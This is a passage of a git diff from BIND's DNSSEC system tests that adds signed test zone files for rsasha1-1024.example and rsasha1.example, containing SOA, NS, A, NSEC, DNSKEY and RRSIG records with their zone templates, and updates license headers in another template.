+; resign=20900129082204
+rsasha1-1024.example.			      300 IN NS		ns.rsasha1-1024.example.
+rsasha1-1024.example.			      300 IN RRSIG	NS 5 2 300 20900129082204 20220111060757 22290 rsasha1-1024.example. jxbsZlgK4B6IkCrZuNDVv/EIqgCU8pTOyWEt2DqvzRI8AeL3I+U9Nbcz 9gmQRaNEtffLVR/sfht6v1ms4AFJKd0xLSZj9ywsZKCmG12UxfNIoZ49 4d1ono8hGYU8xr1Qh1BU2HwgGY1JF4OyO28cgrkT2F9dAvG8MSMEW5Sg 9A8=
+; resign=20900129082204
+rsasha1-1024.example.			      300 IN NSEC	a.rsasha1-1024.example. NS SOA RRSIG NSEC DNSKEY
+rsasha1-1024.example.			      300 IN RRSIG	NSEC 5 2 300 20900129082204 20220111060757 22290 rsasha1-1024.example. AfEX9beXrft4d1moQD1VP3Em9cMgJmx2EYBKMlW5e5XFNk2Z5Wj1N//3 sBuUPNppxUilUEydqH5psVw7IMhrz8Q1+bhABNV7cPm1EOuq0NuQJ2LN JNlTnjfaRT6IAtY7d+NOCO2eKlDzMC/q8t2oaB+iHhgO7yc5+fxMGyQ/ PVc=
+; resign=20900129082204
+rsasha1-1024.example.			      300 IN DNSKEY	256 3 5 AwEAAaYD3SqsLtFHSfDhA8HhNKQJOToRptRmFhsYbqre+lq/BLpLQNkA 7Kq+chsUhOe+8OHMfkNXfr3XFyuUA3rBg15kq57NZ5gLzkHyeGqB9Ths M5pdwDCqPjJKP43W2+EXXHWsg5P94yldWcvMx1v80vrxGvUimfiQSznE hok/6oqR
+rsasha1-1024.example.			      300 IN DNSKEY	257 3 5 AwEAAeEe/ohrvXtDqYgrz5Q1WAKRstnnH0xi/4Mne49PLO56TcVPf6sg xpv/SaHSlQGJnVbQBLebPemKDAC1vVOUqdTDxHJbLuO28brIWMzf0pc1 5G2RNtrQf44E4yaibSROhyBmWoerUHTPGJw6BGDI4fb/CVWujFQ1ieBy WC0p1NWH
+rsasha1-1024.example.			      300 IN RRSIG	DNSKEY 5 2 300 20900129082204 20220111060757 22290 rsasha1-1024.example. nBLPJfoZe4G3wOe17bBSMooRZHe523pjdaTAK2PmXEa8exXH+OWCHh7f Jnh/SI89Hp9a2ru1Skze3FcUcTj/SlwtEuWpxOs9B1R29P1xVPCwkAfb xsmtmE6u5+oeLGrt88zA/kpjx6t0sFbU7A8/qxlpuoH+hdAu1jI2tlP4 d30=
+rsasha1-1024.example.			      300 IN RRSIG	DNSKEY 5 2 300 20900129082204 20220111060757 1151 rsasha1-1024.example. 0oNrcBsFySVjBT60SX3m7cKIPmuCOUH0ZFucrmEVXJLGpNOXe37aXbnC Iz+NHcaaeZQP/w4aYSTyQvZs6Vl5Tufeic3SWalzTGv0f01mIIk24v1a h4ePUB8w0b0+/qq89zl6Ccr2/PgTaLvjuSGYcgX15cigqPRcKQNYCwO1 Vsk=
+; resign=20900129082204
+z.rsasha1-1024.example.			      300 IN A		10.0.0.26
+z.rsasha1-1024.example.			      300 IN RRSIG	A 5 3 300 20900129082204 20220111060757 22290 rsasha1-1024.example. Zf/ynA7APXpNjcMPusIjRan0/ITLmeeY7GJfhCLeD3lEjnAd7dWRl7sC N5sBzUG78Mtgm39Ov/Kj2EwQjFcwcMUmppan3NzS+1YtYuZqlN9iAW+b UUfv8UQUHvM3x/hW4kNCPd2PHIzV2uedIp7VG3Lz72FvjHxECbI7g79V 18c=
+; resign=20900129082204
+z.rsasha1-1024.example.			      300 IN NSEC	rsasha1-1024.example. A RRSIG NSEC
+z.rsasha1-1024.example.			      300 IN RRSIG	NSEC 5 3 300 20900129082204 20220111060757 22290 rsasha1-1024.example. FPlYMJ41r79tkhIkDTX9/uVtcKXfHa+5oXb8fdo7/2CugjBfp5uihn57 3gMmY7Mi2aVsW64hRkehPJr+sTUOk5+ILhO2Qhjdrm2DpHgeSK29BTQr Okn9ruvpLhRFHwI/DllnKvBOyCmKSzJZE7PDOrqouGclNue07IXz+K2R bME=
+; resign=20900129082204
+b.rsasha1-1024.example.			      300 IN A		10.0.0.2
+b.rsasha1-1024.example.			      300 IN RRSIG	A 5 3 300 20900129082204 20220111060757 22290 rsasha1-1024.example. gQmhCIwai57iscF2s5CJ5DbSy0Z9TiOWYGeFeZITxQ/koFOOjyuZXAZn 6f7mTUcFPhNm4AT/PJAs/L/tzcE16pcVwwDnHszdY28XwEU6OqaXUB3E T/Qu4Sh0BWet9U6JcSSqLG5317qJxqSGfnIJOXMucYi3MH3W8uSpapr+ 4Qk=
+; resign=20900129082204
+b.rsasha1-1024.example.			      300 IN NSEC	d.rsasha1-1024.example. A RRSIG NSEC
+b.rsasha1-1024.example.			      300 IN RRSIG	NSEC 5 3 300 20900129082204 20220111060757 22290 rsasha1-1024.example. Do6VghMEcHk35Q7fI2VrrQBYhChT4pnw791qUFhHZeol5fIKtEnrlviA RN2fbEY+7OrQQXo7Ywxo7nTD9sYsFgOwGKqKJ+yLNPcr++0csbkgt5rU ch1Lv+t7jOUuUX8IzgjOoCH5j9eoU5QtGkEBxf6z0nvlsLJaTWwTqvbr 7aU=
+; resign=20900129082204
+a.rsasha1-1024.example.			      300 IN A		10.0.0.1
+a.rsasha1-1024.example.			      300 IN RRSIG	A 5 3 300 20900129082204 20220111060757 22290 rsasha1-1024.example. CaPXSTPLNeQ4MyRylYP/Ztb6kRT9/QdgpTnZxUHCjSdWEBXsrkEr55/z dBSQ8zGGOfCxlOkmgH/UrR7JmHTQrIqsb/iVq+6D0mfvNJDyNpT92bo8 r+C62/9NXLlkS5zcpyNG8Ls66EQ7dcFa6SxwdxF1qaoeBjJvkrGUMnzP UFo=
+; resign=20900129082204
+a.rsasha1-1024.example.			      300 IN NSEC	b.rsasha1-1024.example. A RRSIG NSEC
+a.rsasha1-1024.example.			      300 IN RRSIG	NSEC 5 3 300 20900129082204 20220111060757 22290 rsasha1-1024.example. DJlfCVMSPZ6KUIUhWUBt7LOCB8vBbxOFaR4PoHs/fLpGBWrQj46sjLKO W/TImquBg3ygYTOIyWEzVb177HryRmx65AKnfGLbzaTdTgHzcELwg88t EYFT4ODalqTn68o2RfWtNl95FNqJR/kguxxzFVgpN4zfGKXdhTWAA4JW zG0=
+; resign=20900129082204
+a.a.a.a.a.a.a.a.a.a.e.rsasha1-1024.example.   300 IN A		10.0.0.27
+a.a.a.a.a.a.a.a.a.a.e.rsasha1-1024.example.   300 IN RRSIG	A 5 13 300 20900129082204 20220111060757 22290 rsasha1-1024.example. PVFCHIXgDCZOHsTsr3G9wMnPPmiY4CfOXC3b1ZF2qEDqloIT+YX5oKKE uiT6fCBteS6Cq8XTXdezXjqTqxrdY4qMMOBDnIZhf8eOxjFzMEUKKZuH 9c5rt8u35TihuIdKv9OPXdWuTJ4dVSEZjNNxvh3VoMW6XFagYmu3f8Gr 0rg=
+; resign=20900129082204
+a.a.a.a.a.a.a.a.a.a.e.rsasha1-1024.example.   300 IN NSEC	ns.rsasha1-1024.example. A RRSIG NSEC
+a.a.a.a.a.a.a.a.a.a.e.rsasha1-1024.example.   300 IN RRSIG	NSEC 5 13 300 20900129082204 20220111060757 22290 rsasha1-1024.example. VOOEksRwMWNO2ESMrcMyPFAHuXyYgeLVODy46DwDx8PTli3/UwOH1e3l qd3Poh2K/OFP2v8TuzkXXnPW48Lg90haHtG9yLr5UUNoKntmBC9PFeqt P/qdOBiHszvcyyjJ4gabEX2gn+o/sL/klQV4m3mB4Vf5sg2dfX8Qyuw6 nDQ=
+; resign=20900129082204
+d.rsasha1-1024.example.			      300 IN A		10.0.0.4
+d.rsasha1-1024.example.			      300 IN RRSIG	A 5 3 300 20900129082204 20220111060757 22290 rsasha1-1024.example. XcxbM4wA+yTOAwPePwRIg6E58HuMr5qIkdghNn/R5ck1JdirLbMB/Wpp Si+5a4q9F02Bs8uZv2YXtXRIa32i1/L6OPeU3RFQfvkpHbQNTvPtsuAL bmFGB/zdR6XQpqC6G+ip9qY+mk2hXwCZZ24NW90O9qYlE8Rp145/dIVM DPo=
+; resign=20900129082204
+d.rsasha1-1024.example.			      300 IN NSEC	a.a.a.a.a.a.a.a.a.a.e.rsasha1-1024.example. A RRSIG NSEC
+d.rsasha1-1024.example.			      300 IN RRSIG	NSEC 5 3 300 20900129082204 20220111060757 22290 rsasha1-1024.example. fmBjPGTNWOXAs51XO1fIRCKAbf9TLTV04TmlgLm50oOouEXsXpwKo6tb MbCGI2f+u986mtzLW4gWY+rcAPrMCndu5BPIYPk/Ngd6zqylWJzAfKyg PIqO0lf6jg0J3FfP39fw9bf+xB+AI1PWBrVZ55LotBYgIBZYhQ1LKPZ2 iyU=
+; resign=20900129082204
+ns.rsasha1-1024.example.		      300 IN A		10.53.0.3
+ns.rsasha1-1024.example.		      300 IN RRSIG	A 5 3 300 20900129082204 20220111060757 22290 rsasha1-1024.example. beHl0WxLgPYkzKs/tdQnphXDzHx6FqdQRlVtJIYHGoWmWe4X6JWg4ENB a0xPeOGFQPBMgNuKbwyjAVmX0B3Su4LiBM7GcmfJbd4YRNCa4hQvhDpG o5A54Pxo2Qdo9Cffhzva5z4iO+DNnmBsfKGPna4sO2lRNfIxXlxCTbnE zps=
+; resign=20900129082204
+ns.rsasha1-1024.example.		      300 IN NSEC	z.rsasha1-1024.example. A RRSIG NSEC
+ns.rsasha1-1024.example.		      300 IN RRSIG	NSEC 5 3 300 20900129082204 20220111060757 22290 rsasha1-1024.example. aZTImJ5QFufIQEIuX+5ZYVW2Yq4ctxeX9zm9yrQaUODvVRm3X3WjncrU hkgDaW3a/j8RRG0cdAnzSWCzIMz0Yv4kWxrxCEJyIgmVUQ3fzxzpGwMF ZwCtNb9aWmImcAugTnjocn5+iCiyTEVipZmTASEyN0Bgp5Q4oFChnzIj kjk=
+; resign=20900129082204
diff --git a/bin/tests/system/dnssec/ns3/rsasha1-1024.example.db.in b/bin/tests/system/dnssec/ns3/rsasha1-1024.example.db.in
new file mode 100644
index 0000000000..b2e7e21e20
--- /dev/null
+++ b/bin/tests/system/dnssec/ns3/rsasha1-1024.example.db.in
@@ -0,0 +1,27 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				2000042407 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+d			A	10.0.0.4
+z			A	10.0.0.26
+a.a.a.a.a.a.a.a.a.a.e	A	10.0.0.27
diff --git a/bin/tests/system/dnssec/ns3/rsasha1.example.db b/bin/tests/system/dnssec/ns3/rsasha1.example.db
new file mode 100644
index 0000000000..2d16e503d4
--- /dev/null
+++ b/bin/tests/system/dnssec/ns3/rsasha1.example.db
@@ -0,0 +1,63 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+; File written on Tue Jan  4 17:29:34 2022
+; dnssec_signzone version 9.17.20
+rsasha1.example.			      300 IN SOA	mname1. . 2000042407 20 20 1814400 3600
+rsasha1.example.			      300 IN RRSIG	SOA 5 2 300 20900122074341 20220104052934 30286 rsasha1.example. wg8k4y/Cs/+u2QfUnBURhD4isSFTzCofpdhMzVJEUfBqu1DBVO+FECQ4 U80NCg9iksxm7xsWAZiQx6Rzvh1rUqEA7OhCy7XiPuz+jR1TYHXJhRMu t9gu7aCdTkcXYCMtppd49/2vT+WPKB98QIKD6wgl4LFFhwbUCoXavin4 babUiJrJeAnuxmIeD5HtM5a+++p0F8QemdP5FkX3WCRBHNFGnoVYJjc7 PZ+L8ZpKElah47XzJwAYWDr34TwqU9llCOcXlXYKBqDKO9fEtJJ1hyk9 Sf4fGOdzZD9Pj4Zz83UlHumeZPfIC1N0xVBYvGPu8LU41WZ4BgZfKSoS UIpbPQ==
+; resign=20900122074341
+rsasha1.example.			      300 IN NS		ns.rsasha1.example.
+rsasha1.example.			      300 IN RRSIG	NS 5 2 300 20900122074341 20220104052934 30286 rsasha1.example. VqOKkNo7CRH2uquL/46cIVoIPvFYT2WrpwpG6ienlJoLF/mZn0ReoMaK G29R8Q0tklalk14CGShiD409lXDRynyHgmLGIFjkXMd6aNRQOdD1O+7C wEhAj4/FEz+qpk/xRGMslxCCF1P7DxpX5ZPI9DuPVVvTRk4131CALaFQ EPblDzEgd7JeoO0tKnPjpzXLdr86NDeDVZXonimjEhQNrvrrurQ5/u2F x7jVmovN47Z06+XCbleC2ag8ZazNkYfU8GlFvkozZMGZtnpja1/SllNJ ZdURisd3JFMw/xsZd1v2MspKYcZePTfzyk/keXSJ0AlO7TA1X2sjiFOo 1fhSnQ==
+; resign=20900122074341
+rsasha1.example.			      300 IN NSEC	a.rsasha1.example. NS SOA RRSIG NSEC DNSKEY
+rsasha1.example.			      300 IN RRSIG	NSEC 5 2 300 20900122074341 20220104052934 30286 rsasha1.example. U7SEGuJ95CKk6+sWNCNHfPuvjJ2KChhutImWmSTc9lgb3uSfptzwbYnP UZ3xG0IqkayRJhBSizLb5kntvBZbcz4pEWZ+o7ZJdiBHcCARj82OJaLF d147VB3XJa6rIi+o/Zm8SIbxU7gugqRds7KfSTxAIjHzLpCcu12hlgfc Qso1LYiVeU5GVnmfuNJQL7QvS3BQuTylTI1+HQpiY6W8Bzev/TcbhoDJ Ywp4hvgF4VGCvrO2glSO4VycLjluawKSlrNaLbAtWIYYUSPbvtktM8tQ GBqOij4l7eMCTGRCoExWEnr+CzWAauoemhLDh27Bq6VNjD5iIvjzt3Ym uGDQUg==
+; resign=20900122074341
+rsasha1.example.			      300 IN DNSKEY	256 3 5 AwEAAe31msH3kL5cIQ6C1vTnB8GvbFDm0t/j5XWnLonaKDSUoHtKLlRq pBPuwlORRUZxRSs7VDAaKE0YGky/YklSCqvo8gBD4dkNjWD/6XGkmtEq DOL8XCz1KO+djs7WLCuCyGIkG282+sntuZJj4IMd+ZDW1urCwaP94t3u W9N+PgrSacK9Ff1bwLR9KIgkRFpJ+JxPeaFYnVEyB4ZaZ8DgPWYNJ+aC awL0nATybC8asPeCGvft3lSS99z55IMfkpjF1rwHIVybqhiukRighazQ ljjVQdlXj3YxFgD0fpscJ6yN0QXdseagxiT4PahnwaHYHUhgGm+HB1zA pA49L9dg2RE=
+rsasha1.example.			      300 IN DNSKEY	257 3 5 AwEAAcQdnpcda8XlNxllEGbWy9EGkD5TtHEbxThaB9c6ZNQPTf3gJw0A LpIZ787sepWND7vPcq6Qb/xZEmC6ER5OfaYbDznUh8q5NaaTbSwv0tng gE8KPwtvlgH+4eUmOcEkGrfR9G6J9S8JTT5bUWKTUbprxE65/8xcY33S cEeOpi34DLR9GLNvPLTSLuWQcYrq1YZFHbivQ45oFD9PvWPJWOoAN68N T28e0ZV8QHuXqW0IEheeW+AEemywupdaxun6Cvvolfz2EMYFnYX8YycE 0qUoDC4W9w3xB4nOllWQfJzgQkSTr/I4XCgepFunBeuAHZhCoQHPt9fK IfPUYxQzaa8=
+rsasha1.example.			      300 IN RRSIG	DNSKEY 5 2 300 20900122074341 20220104052934 30286 rsasha1.example. tODh3LiRuG/ao3ZtJSLBPCy74pkfHXMPRUgFP7MhNR3X6gq75daTVHLi ApTesgAXPAbHI404ps/8M2Z84dkMKBhRDdp1e9OwR8IB4Iw0IOGp2rV7 oZSYNzgnlwRfQ2G75G3xbCjiQhY0H+7IlSiys3sAaI67plvI3nDC3C/r zyDKiY90pK31e+q72SSK+1t/MlsRm0nAYHyUZGLuBMoXYHwonLImeH9Q jwy+cXLwhzOfPfm97ailNifEk38+P+H+Yq35Cp1ezpMzxAi67AcY83sR XB7RVRCf/4uUErh5rYcl6EcnHFh1xA9oSHsaPQbd39PO2fNanyvdPH+p b0ey0A==
+rsasha1.example.			      300 IN RRSIG	DNSKEY 5 2 300 20900122074341 20220104052934 9662 rsasha1.example. Ksyrf1lseBMSQGyPWrSve/X09Nb1CWB//Yvjw9HAEBwna9wseI6cH6mi B1G2JyFmTFzxGgVmf0wB+oec2w7nt5/uUJbyVfLQvCs9RXBGEpKAwhVf GKIwcSF1VTyVfx+PYPHvCpeN01Qm3C/5pJ28dkT65Hry2a7f39kk/8YZ 4zVM1nYaTsBUQdQWvR5UlSm0S3SUMBc2MIEUGUFBhtBJ10W8VkIfNzma ONjMHthu8vLAfwuBYX8zzJIVB31XvnxZDa4LSM4PesyPZ+KVR27o5dlL gQS62u3PWJDgEhUNFIa8A+5kDENC24p7DSfG+Aipe3upefBpBAW3VEdN A/nwQQ==
+; resign=20900122074341
+b.rsasha1.example.			      300 IN A		10.0.0.2
+b.rsasha1.example.			      300 IN RRSIG	A 5 3 300 20900122074341 20220104052934 30286 rsasha1.example. ivXu+xAyZThIsY2T1c1wczdeeIG/37z+nO9sbUOzcUyf4+T9lX+6rU0D gxQTxHVdcsw3ge/C+dU2qcrs3EHHW4JcpT1yZMbXcyo+w5ocj5oHGYD2 L3iKLCEZrzdkIwmY4GXNyTznk0X5GKuaP7P6PeNrwWEBficB6xLSiLm7 tsswVcc4XyHa+zKBbxevIt2bKvRUfruyztgENZXJ5125Kx1Ee70Hwvgw bNc2J7lqpJw5c5O8yUaXq5gsxcaLBuONbQ4ANL5PtFQJJY7B5GhqlRTy gVrThJsoZj66pfa8gK92yn8uRG6sFpAbtPrTMQaReiExOhCUdBZRBmA+ RWUTKQ==
+; resign=20900122074341
+b.rsasha1.example.			      300 IN NSEC	d.rsasha1.example. A RRSIG NSEC
+b.rsasha1.example.			      300 IN RRSIG	NSEC 5 3 300 20900122074341 20220104052934 30286 rsasha1.example. hHtS5Bev1RkOJhsz4QnWJzzn/BBRLJil1l1RCbX+nbVbPE93l/2aDi12 jgctWKIfAiVfdFn93uno11+7Lq+bJaiMvaozJ+f7XWMAPsITOlKGNtiw l9kqZJExugH3q0RC1W0xxnb6HlIbwYGn6refUexaZKjgBsUg302pY7bh 6z4WuPakuxAqsaI6KLxLAlm7CWmdXvpFMCc1dnIVDplxOAvEINTrEesY sffjfmRbP3YAXC6/xvu0WVlikgklJjjiRqdeiSqPLGlnb79OAF5whHSL nYvWscX00/f+SOiniFoAFH2KeSb7VdJ2jvpTaqWjrYxxvwuZMsKNzwRI 4pnH/w==
+; resign=20900122074341
+a.a.a.a.a.a.a.a.a.a.e.rsasha1.example.	      300 IN A		10.0.0.27
+a.a.a.a.a.a.a.a.a.a.e.rsasha1.example.	      300 IN RRSIG	A 5 13 300 20900122074341 20220104052934 30286 rsasha1.example. BQT+sZ6SJUbGDJ0eG6WBM19+UoBGZEie96E7EXaeS4It3M+EaMkIWIGD hp0MwiC0yW8u0zWjlA57t3yRpVhvCic8kl4SPs5tOmDXyy5RRJ7YOHNx 3PCuAbkoTfoLt5ReVtGcs5LTz+lmPUKZw/dwols5x8v1PIC2O/Ud6Yep TE9Qeymj1/C3GxxLVPLxXQhirkhT6LfMmFH6fNwec6U7bVRyMo3twcvK TDxkEZu5qA0+6bSrLC/xdyZYE38RQOlicmmGfYAIkDWKDdDXYbfBeJq6 zP8aFvdqOckDBvXQcnP9Cq+IvQX1noO90ePYf5AzNxAEQFJ4S1LUm/0q mQqNLA==
+; resign=20900122074341
+a.a.a.a.a.a.a.a.a.a.e.rsasha1.example.	      300 IN NSEC	ns.rsasha1.example. A RRSIG NSEC
+a.a.a.a.a.a.a.a.a.a.e.rsasha1.example.	      300 IN RRSIG	NSEC 5 13 300 20900122074341 20220104052934 30286 rsasha1.example. jvJup/Pg4BpAjh+eLMKEYFkpK/iOVt3QggGL7CRMxzxkYYMJNPwXqdAt 5MovIAFjFKBQm0RDe8/tqav/zdOZrDTyRZ2Zsh9qOp7hlOhy4oqQF+4n Wqg3x8v9gSgrzSAsiJAhb3fbbfdAb3Esc1R0Ec/RcLYEUXiD1eLTG0cB qtVmX3McwXTmu0OGpn0Dsg8CTSuQnrvo24bvsah5SEL1/NVkPtEE7KDT Q8orR7LNM0EeIL1CHxT5dqCAo5MvUm9L8GL/YIOZgtifD/uL23T0ej4j 0JYN7EYoDyFT0fyGeBoS2jkCZTsQZivfnkE5J4Ch1nAU5bUmSeX1eZHK nvce9Q==
+; resign=20900122074341
+d.rsasha1.example.			      300 IN A		10.0.0.4
+d.rsasha1.example.			      300 IN RRSIG	A 5 3 300 20900122074341 20220104052934 30286 rsasha1.example. 1mZnG0HsIygSfEue9vMlqWpIQ59EmrktvFrGBzNUEDQDjsoGHv+syMFi A8BtRPkrHZzGaYTqy4L8ZL6V5vZPN1icETNVebx7teBTNFIwlvubdKoQ Zg/37W8gW6U1PN4khQlfX7W5XMFifF4qfCfI3XhkPgKacVaucHQhvGth ZzgCbhCQBVMooRb+v+nzknin0qpIWm7pVPh94BaajxQJ0mNwVQ8hjdJP jy16PH4z/aQ6oPjPKMbnMwTQOdWVUKsZtEkBGcAjJWLFmUJYpR5PPdRB /VsEtjexNKZtDwn0/QUIqUi4GcSp0ISTDBTNDjImJhWVJUoFh6S6zuRW tPYZGA==
+; resign=20900122074341
+d.rsasha1.example.			      300 IN NSEC	a.a.a.a.a.a.a.a.a.a.e.rsasha1.example. A RRSIG NSEC
+d.rsasha1.example.			      300 IN RRSIG	NSEC 5 3 300 20900122074341 20220104052934 30286 rsasha1.example. oWJRAhXbXUA84Nc56NyMocBq93bn3k4uGeqv+XL2L5l6yjxQYxKzjqq1 O5m72K6GiIjoIeun5TxJlEI7/o1EivTxdGYVP4Fsb//Wrv422QcHwS27 xNsFhLMFQglBCOaZzj1v3G2nXRRjP8x81ysg048THlhH5Jm7cW3aUmuS P6kXebWVwIc2nywLHVr/U4dCT2sHOk2gkUuaj8p6rMLVYwj/5dBRijVl Wm131ZeimetxrrRVxXtOfof7W4pqx3bpYRqb/Exdh035Hen+QesxRYTA zcxY7CywJY59afc9/abQBWGkPLfF7rgfJjPIc3MpJlP4SPf0SV4bTNUU nptZ/A==
+; resign=20900122074341
+ns.rsasha1.example.			      300 IN A		10.53.0.3
+ns.rsasha1.example.			      300 IN RRSIG	A 5 3 300 20900122074341 20220104052934 30286 rsasha1.example. ONQph6nkFWSS6dqe/agbVnbjwTtA8ZZATpTCqoRJp2QoEgIjZ/0Yh7Fl Axz4PnpMYsEoie0IZ0/g+xTH7nXYphZzzzgedK8WK0vdTW3Pspyoiek/ tWjiGshqq1atHgi+jjRiuhnEvkaX0UDipMCQvI7oFHMOJxmnwZBCNWMc kBu9vbqtr/+HM4y+jGywg5l2XVkmHC5RZv1CoYc5PhfvV4zMI2RCb/Km i5eNCrUZefRfAq4fK9M67Jh/WnfRWfnHZKZN3O0yiRdnKOh2tOQP3X46 fIuNldCeg1PPnkbs4R+ekqJYhpEydNuWKEoKw2ZgeIrmbcRqepD6y3SZ UP/TAw==
+; resign=20900122074341
+ns.rsasha1.example.			      300 IN NSEC	z.rsasha1.example. A RRSIG NSEC
+ns.rsasha1.example.			      300 IN RRSIG	NSEC 5 3 300 20900122074341 20220104052934 30286 rsasha1.example. s7P7k9FDJrO1JhUVjgVUDQXNXfNOJrYVt44OoD45e7w4Q7QkyeZe+6z1 Arj9tW1bI9nIVNo63DT51bsJmj4vPf4SuJgHO05ElkLFSvHn17qMdw8Q Kpx8MQa7plAISqzl9hJip0exMuV+1IHujO9VGE42CxKl0q6l2b/x3+Il afx47bcEePkdhHXyhOSdrtxFTayzjMd/7uSy6p1jFSEVrheejQ/r44t3 9uxEc4EYfiP+HVfnjJ178j2Xa4dZyi3ljhJjaH5oleiy5c2Y5kXRIuXH OcIQ2axO7LT/yupRcBPlo7ulwI9iEVd2Q2gueMqaJ9YEWlcoOSFu1H75 7IRAbA==
+; resign=20900122074341
+z.rsasha1.example.			      300 IN A		10.0.0.26
+z.rsasha1.example.			      300 IN RRSIG	A 5 3 300 20900122074341 20220104052934 30286 rsasha1.example. nuqG+ILECKKCQockETu4yLRKZzv9qjXJpfD0/yw5Cw7nSrZFvAjpkQR2 f+xmzbcxP4xiYqs1I+nz8cnHs6NNkJA8vcmk9dnzRu78X0x8MFFV0Yha jQKK/cSzhEhys7GMYv3Jz6lKfmFOAoq1et9PaQT6w8zQD8Q5vBzKrvZm pg+QzZvvgToZfj4e5J7nrhnyOVo7Jec5l/aBCGJbgRMDxjyyC0ufOjnm POvsTZk+wM3+wuN6zYwDpproPiH/6vC/yPlDHeh6kDt971dMsdvRv+kS KAzPyN8rweptJ/HRprb9x6zcAJOrK0T1sJ+EhMbYMgC/py6aAn+T7G5D FGY1tg==
+; resign=20900122074341
+z.rsasha1.example.			      300 IN NSEC	rsasha1.example. A RRSIG NSEC
+z.rsasha1.example.			      300 IN RRSIG	NSEC 5 3 300 20900122074341 20220104052934 30286 rsasha1.example. Wj5DkrGppeMFn8bWLUMfFPCzDAO2HeabbEIMaAHBH/g0hdn+2PPkQc8D D6WCSc4q5gyGNRSXj2Kik2TojD9n/5WuwDAA3W2AOso+4d616lSy9pyj x+e4WZ6y6tAYRRIGIVTdDEOxrZ8KspclWk7H6OAAPIYvgZeYjox21qXN BknpIifVoaYUoxi3e81k25erm/Xww4uU2SMQgvq3sBrs0YGANembfxas BRVmSmBykpugHgS1/Fl19Hp40y/JTBzqOLrHgPgHO4aH89dgta0WlMhb 8uCUOjHNjcR+KO3KUpKDZkH8IuJHWWFd0TabdV0KBhpInQh6Yorhpjg7 qNBbgA==
+; resign=20900122074341
+a.rsasha1.example.			      300 IN A		10.0.0.1
+a.rsasha1.example.			      300 IN RRSIG	A 5 3 300 20900122074341 20220104052934 30286 rsasha1.example. eJyAqMArSagK54kSFvJxE5qYXFSDYxj6Vt8l4gi58BQigO7p5v0BUWcS icToRx3a9+rSdhnBuGbOWGNlrKFfCKrLmqYrlI9GFSAFLAFj7DETSKDJ X5dQ0KnpyGL3SneQsDWAvAof0y9B17dnBHQMSjeVqqQLjYEnq3ZIdT3c b6emCGMhcbfIAOYWt7t9nk/J2tsTsdoKtTCHP1SHjn5sE++BPXOce49X gFnNMD+pOcoLH8Z07RcTQ8IeNIa9hO8UaypyicaHQ2F0JtsiL1pqREXf QsBeLC12Gbi0rxJX3gdj0LXsmSerVl6BgaNjPTp3840WKrW3nTG/8Lre bxgkow==
+; resign=20900122074341
+a.rsasha1.example.			      300 IN NSEC	b.rsasha1.example. A RRSIG NSEC
+a.rsasha1.example.			      300 IN RRSIG	NSEC 5 3 300 20900122074341 20220104052934 30286 rsasha1.example. 6fZ5/GXrFAc9lEspMNlPa40F8O/tGq1oaSZXVstwLH124TNWxRK+i8eT H77Kq80vZkDus8rkLr4fiLP3ApXVBffCRHZWecGrYaPGDbQXALQEktld NhmLr9Nf30Jq7KvVV9Qf4daPC7ZwkB8EsikJxjpQ/paHlU/Pua7ZonnH /x9HHRJBLWb/PPQWEc++8SSjA79+HZVbB8rBwXyxHO1tFBCbBpK/JNwu KpRqNp/mwxPpSaJGZIuhHlzfbLsS4WoXjdG+fob4RqsPPwrf/uAAzKM2 dHVuqZ1erH3ryb4JdRo+MhqD0+vC/7+eNccEXraBsE5xGw4M62Se37WC kyQDQA==
+; resign=20900122074341
diff --git a/bin/tests/system/dnssec/ns3/rsasha1.example.db.in b/bin/tests/system/dnssec/ns3/rsasha1.example.db.in
new file mode 100644
index 0000000000..b2e7e21e20
--- /dev/null
+++ b/bin/tests/system/dnssec/ns3/rsasha1.example.db.in
@@ -0,0 +1,27 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				2000042407 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+d			A	10.0.0.4
+z			A	10.0.0.26
+a.a.a.a.a.a.a.a.a.a.e	A	10.0.0.27
diff --git a/bin/tests/system/dnssec/ns3/rsasha256.example.db.in b/bin/tests/system/dnssec/ns3/rsasha256.example.db.in
index 862dadba98..f6c4fabdd3 100644
--- a/bin/tests/system/dnssec/ns3/rsasha256.example.db.in
+++ b/bin/tests/system/dnssec/ns3/rsasha256.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/rsasha512.example.db.in b/bin/tests/system/dnssec/ns3/rsasha512.example.db.in
